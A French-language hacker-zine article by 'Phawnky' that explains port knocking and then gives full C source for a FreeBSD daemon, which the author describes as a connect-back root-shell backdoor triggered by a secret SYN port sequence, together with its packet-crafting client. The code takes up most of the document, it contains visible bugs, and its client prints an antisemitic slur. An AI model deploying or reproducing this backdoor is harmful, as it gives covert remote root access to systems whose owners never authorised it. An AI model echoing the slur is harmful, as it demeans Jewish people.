.---+-=[ The real slim portknocker ]=------+---------------------------=[06]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Phawnky ]=-| | // | | L\:-=[Ak : aussi disponible en hot wheel ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Aucune méthode d'authentification est infaible, que ça soit les tests biometrique, genre ceux qui marche avec les empruntes digital, ou la retine... ouaip les même que Wesley Snipes dejou dans demolition man en arrachant l'oeil d'un gars. Ou les usernames/pass qui sont previsible, extrapolable, brute forceable, voir même extorcable avec un regard méchant et un plunger a toilette, bref you get the idea... Le but de tout mécanisme d'authentification sophistiquer est de minimise le plus possible la quantité de personne qui soit apte a contourner ce dernier. En utilisant des contraintes; psychologique (exemple les cadenas que hacktoad ouvre en .00001 secondes), physique (qui demande d'arracher l'oeil de quelqu'un) ou au niveau du traitement/probabilité (Genre les private keys RSA). Il y a une méthode plus ou moins nouvelle (ok binf, pas nouvelle pentoute...) que wyzeman a effleure dans le dernier zine qui a sucite mon intérêt y'a plus ou moins un ans, alors que je suis tomber par hasard sur le site de phenolite. et que j'ai vu cd00r.c, leur port knocker backdoor. Si vous s'avez pas c'est quoi un port knocker et que vous êtes des putains de lopettes paresseuse (comme moi) je vais le résumer très vite: Imaginer une box, avec toute ses ports closed, qui sniff toute le incoming/outgoing traffic au raw socket level, et finalement regarde le destination port. En bref c'est ça. Quand un host trigger un nombre X de port dans un orde pre-determiné, bingo yer authentifier... la puissance de ce mécanisme réside dans le nombre X de port. qui pourrait être 42 ou encore le nombre d'asiatique sur terre, ça et le nombre de port qu'il y a sur une box, soit 2^16. Un Rappelle sur les probabilité: (2^16)^X = nombre de combinaison possible. Je trouves ce système la, comme tel, déjà bon. Mais comme |R ma fait réalise que si y'avait quelqu'un qui sniffait le traffic et que la port knock séquence restait toujours la même, jme ferais fourrer comme une vierge saoule a un after-graduation party. Il m'a donc, suggéré d'implémenter un truc similaire au one-time-pass ( man skeys, si vous savez pas c'est quoi) que j'ai pas vraiment eut le temps de finalise...que je nommes one-time- knock...wo0...original. Je me sers de BPF dans mon code, mais ça devrait être plutôt facile a porter. Treves de détails inutile, si vous voulez la base d'un port knocker daemon et gosser avec ça vous aussi, durant une nuit, avec une bouteille de vodka, après avoir été mal baiser, pour vous remonter le moral, voici le code server/client: /* \ Fbsd Portknock Daemon by phawnky / \ Based on cd00r.c by FX of phenoelit.de / \ This is a non listening connect-back rootshell dropping backdoor. / To trigger it, you just need to send SYN flagged packets to the host running this \ on the port sequence you choose. Anything doing a connect() definatly would work, / but as an exercise I made a client for it: portknock-client.c \ / TODO: \ - SENDER based hash table, containing which step is completed individually. / - Add One Time Knock support/list generation (credit goes to |R for the idea.) \ - Mmmm...test it on fbsd 5.X / - Port it to linux \ - Make an open-pam module of it */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // Configs #define VERBOSE 1 // don't want any outputs? use 0 #define INTERFACE "ste0" // use your external interface for this. #define CONBACK_PORT 4455 // connect back port...yeah #define MAX_PORT 65535 #define SEQUENCE_LEN 10 // Prototypes void connectback(char *dest, int port); unsigned int **get_next_knock(int max, int num); int main() { int i, fd, flag, n_read, bsize, cport, mport; unsigned int offset = 0xe; struct bpf_hdr *header; struct ifreq ifr; struct ip *iph; struct tcphdr *tcph; char *buf; char device[sizeof "/dev/bpf0"]; char sender[sizeof "999.999.999.999"]; #fresh unsigned int **knock; // Root user check if (getuid()) { if (VERBOSE) fprintf(stderr, "[-] You need root to snort like a man!\n");#fresh exit(-1); } // looking for an openable bpf. for(i=0; i < 5; i++) { sprintf(device, "/dev/bpf%d", i); fd = open(device, O_RDONLY); if(fd == -1 && errno == EBUSY) // Busy... continue; else // Success, Failure, Not enough priviledges. break; } if (fd == -1) { if (VERBOSE) printf("[-] All bpf devices tested (0-4) are busy, or non-existent.\n"); exit(-1); } else { if (VERBOSE) printf("[+] %s isn't busy...\n", device); } // getting packet size if (ioctl(fd, BIOCGBLEN, &bsize) < 0) { perror("[-] BIOCGBLEN()"); exit(-1); } buf = (char*)malloc(bsize); if (!buf) { if (VERBOSE) fprintf(stderr, "[-] Can't malloc() %d bytes.\n", bsize);#fresh exit(-1); } // bind to an interface strncpy(ifr.ifr_name, INTERFACE, sizeof(ifr.ifr_name)-1); ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0; if (ioctl(fd, BIOCSETIF, (caddr_t)&ifr) == -1) { if (VERBOSE) perror("[-] BIOCSETIF()"); exit(-1); } else { if (VERBOSE) printf("[+] %s bound to %s\n", device, INTERFACE); } // get data immediatly flag = 1; if (ioctl(fd, BIOCIMMEDIATE, &flag) < 0) { perror("BIOCIMMEDIATE()"); exit(-1); } // Setting up sequence knock = get_next_knock(MAX_PORT, SEQUENCE_LEN); mport = SEQUENCE_LEN; cport = 0; // Infinity starts here. while(1) { bzero(buf, bsize); n_read = read(fd, buf, bsize); if (n_read == -1 ) { if (VERBOSE) perror("[-] read()"); exit(-1); } else { header = (struct bpf_hdr *) buf; iph = (struct ip *)(buf + header->bh_hdrlen + offset); // This is where the tests begins#fresh if (iph->ip_v == 4 && iph->ip_p == 6) { // IPv4 && TCP/IP packet, look'n good. tcph = (struct tcphdr *) (buf + header->bh_hdrlen + offset + (iph->ip_hl<<2)); if ( (tcph->th_flags & TH_SYN) && // SYN is good ! (tcph->th_flags & TH_ACK) && // no ack ! (tcph->th_flags & TH_RST) && // no rst ! (tcph->th_flags & TH_URG) && // no urg ! (tcph->th_flags & TH_FIN)) { // no fin if (htons(tcph->th_dport) == *knock[cport]) { // Port match if (cport == 0) strncpy(sender, inet_ntoa(iph->ip_src), sizeof(sender)-1); // Making an hash table based on hosts // Would make this MUCH more reliable. if(strcmp(sender, inet_ntoa(iph->ip_src)) != 0) { if (VERBOSE) printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting\n", inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),knock[cport]); cport = 0; continue; } else { // same sender if (VERBOSE) printf("[+] %s - Knock #%d [%d/%d] - Accepted\n", inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport), *knock[cport]); if (++cport == mport) { // end of knock sequence reached cport = 0; // Getting next knock sequence free(knock); knock = get_next_knock(MAX_PORT, SEQUENCE_LEN); sleep(1); // Dropping shell connectback(inet_ntoa(iph->ip_src), CONBACK_PORT); } continue; } } else { // Port dosen't match if (VERBOSE) printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting\n", inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),*knock[cport]); cport = 0; continue; } } // Flag's test failed } // IP version, or protocol type failed } // read() didn't fail o_O } // while(1) } // main() void connectback(char *dest, int port) { struct sockaddr_in sin; int s, i; int pid; sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = inet_addr(dest); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0 || (connect(s, (struct sockaddr *) &sin, sizeof(sin))) < 0) { perror("[-] connect()"); return; } if (VERBOSE) printf("[+] Connected to %s:%d, dropping shell!\n", dest, port); if(!fork()) { for(i=0; i < 3; i++) dup2(s, i); send(s, "[ r00t! ]\n", sizeof("[ r00t! ]\n"), 0); execl("/bin/sh", "kewt", 0x00); exit(0); } close(s); } unsigned int **get_next_knock(int max, int num) { int i; unsigned int **knock; srand(time(0x00)); knock = malloc(sizeof(unsigned int *)); for(i=0; i <= num; i++) knock[i] = malloc(sizeof(unsigned int) * num); for(i=0; i < num; i++) *knock[i] = (rand() % max) + 1; *knock[i] = 0x00; // Display printf("[+] Next knock: "); for(i=0; *knock[i]; i++) printf("%d ", *knock[i]); printf("\n"); return knock; } /* \ PortKnock Client [works on Fbsd 4.X] / It's just a SYN packet crafter... \ */ #include #include #include #include #include #include #include #include #include #include #define SRC_PORT 1337 #define CONBACK_PORT 4455 //Prototype void usage(char *prog); int listen_cb(int port); int shell(int sockfd); int main (int argc, char *argv[]) { int s, i, pcount, one=1; int *val = &one; char datagram[4096]; char pseudohdr[1024]; struct ip *iph = (struct ip *) datagram; struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip)); struct sockaddr_in sin; int tcphdr_size = sizeof(struct tcphdr); if(argc < 2) usage(argv[0]); if(getuid()) { fprintf(stderr, "[-] getuid(): Raw socket operations need uid 0.\n"); exit(-1); } if(!gethostbyname(argv[1])) { fprintf(stderr, "[-] gethostbyname(): Invalid host: %s\n", argv[1]); exit(-1); } for(pcount = 0; argc > 2; argc--) pcount++; for(i=0; i < pcount; i++) { s = socket (PF_INET, SOCK_RAW, IPPROTO_IP); sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[i+2])); sin.sin_addr.s_addr = inet_addr(argv[1]); bzero(datagram, sizeof(datagram)); iph->ip_hl = 5; iph->ip_v = 4; iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); iph->ip_id = htons(31337); iph->ip_ttl = 250; iph->ip_p = 6; iph->ip_src.s_addr = INADDR_ANY; iph->ip_dst.s_addr = sin.sin_addr.s_addr; tcph->th_sport = htons(SRC_PORT); tcph->th_dport = htons(atoi(argv[i+2])); tcph->th_seq = htonl(31337); tcph->th_off = sizeof(struct tcphdr)/4; tcph->th_flags = TH_SYN; tcph->th_win = htons(57344); if (tcphdr_size % 4 != 0) tcphdr_size = ((tcphdr_size % 4) + 1) * 4; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) { fprintf(stderr, "[-] setsockopt(): Can't set HDRINCL!\n"); exit(-1); } if (sendto (s,datagram,iph->ip_len,0,(struct sockaddr *) &sin, sizeof (sin)) < 0) { perror ("sendto"); exit(-1); } printf("%s:%d -SYN-> %s:%d\n", inet_ntoa(iph->ip_src.s_addr), SRC_PORT, argv[1], atoi(argv[i+2])); } // for() listen_cb(CONBACK_PORT); } void usage(char *prog) { printf("Correct usage:\n" "--------------\n\n" "%s ... \n", prog); exit(-1); } int listen_cb(int port) { struct sockaddr_in sout; int s, client, sz_client; bzero(&sout, sizeof(sout)); sout.sin_family = AF_INET; sout.sin_addr.s_addr = INADDR_ANY; sout.sin_port = htons(CONBACK_PORT); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("socket()"); exit(-1); } if (bind(s, (struct sockaddr *) &sout, sizeof(sout)) < 0) { perror("[-] Bind()"); exit(-1); } if (listen(s, 2) < 0) { perror("[-] Listen()"); exit(-1); } client = accept(s, 0x00, 0x00); if (client > 0) { printf("[+] Got shell...dropping it!\n"); shell(client); } return(0); } // Ripped from some dcom sploit, I already reinvented the wheel too much, for my own good. int shell(int sockfd) { char rb[1500]; fd_set fdreadme; int i; FD_ZERO(&fdreadme); FD_SET(sockfd, &fdreadme); FD_SET(0, &fdreadme); while(1) { FD_SET(sockfd, &fdreadme); FD_SET(0, &fdreadme); if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break; if(FD_ISSET(sockfd, &fdreadme)) { if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0) { printf("[-] Connection Terminated by jew!\n"); exit(1); } if(write(1, rb, i) < 0) break; } if(FD_ISSET(0, &fdreadme)) { if((i = read(0, rb, sizeof(rb))) < 0) { printf("[-] Connection Terminated by jew!\n"); exit(1); } if (send(sockfd, rb, i, 0) < 0) break; } } printf("[-] Connection closed by foreign host..\n"); exit(0); } Phawky